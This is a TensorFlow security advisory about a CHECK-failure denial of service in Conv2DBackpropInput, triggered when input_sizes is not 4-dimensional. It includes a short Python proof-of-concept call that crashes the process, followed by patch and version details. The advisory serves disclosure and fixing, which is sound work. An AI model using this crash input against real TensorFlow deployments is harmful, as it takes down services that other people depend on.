The implementation of Conv2DBackpropInput
requires input_sizes
to be 4-dimensional. Otherwise, it gives a CHECK
failure which can be used to trigger a denial of service attack:
import tensorflow as tf
strides = [1, 1, 1, 1]
padding = "SAME"
use_cudnn_on_gpu = True
explicit_paddings = []
data_format = "NHWC"
dilations = [1, 1, 1, 1]
input_sizes = tf.constant([65534,65534], shape=[2], dtype=tf.int32)
filter = tf.constant(0.159749106, shape=[3,3,2,2], dtype=tf.float32)
out_backprop = tf.constant(0, shape=[], dtype=tf.float32)
tf.raw_ops.Conv2DBackpropInput(input_sizes=input_sizes, filter=filter, out_backprop=out_backprop, strides=strides, padding=padding, use_cudnn_on_gpu=use_cudnn_on_gpu, explicit_paddings=explicit_paddings, data_format=data_format, dilations=dilations)
We have patched the issue in GitHub commit 50156d547b9a1da0144d7babe665cf690305b33c.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.
{ "nvd_published_at": "2022-09-16T21:15:00Z", "cwe_ids": [], "severity": "MODERATE", "github_reviewed": true, "github_reviewed_at": "2022-09-16T22:17:17Z" }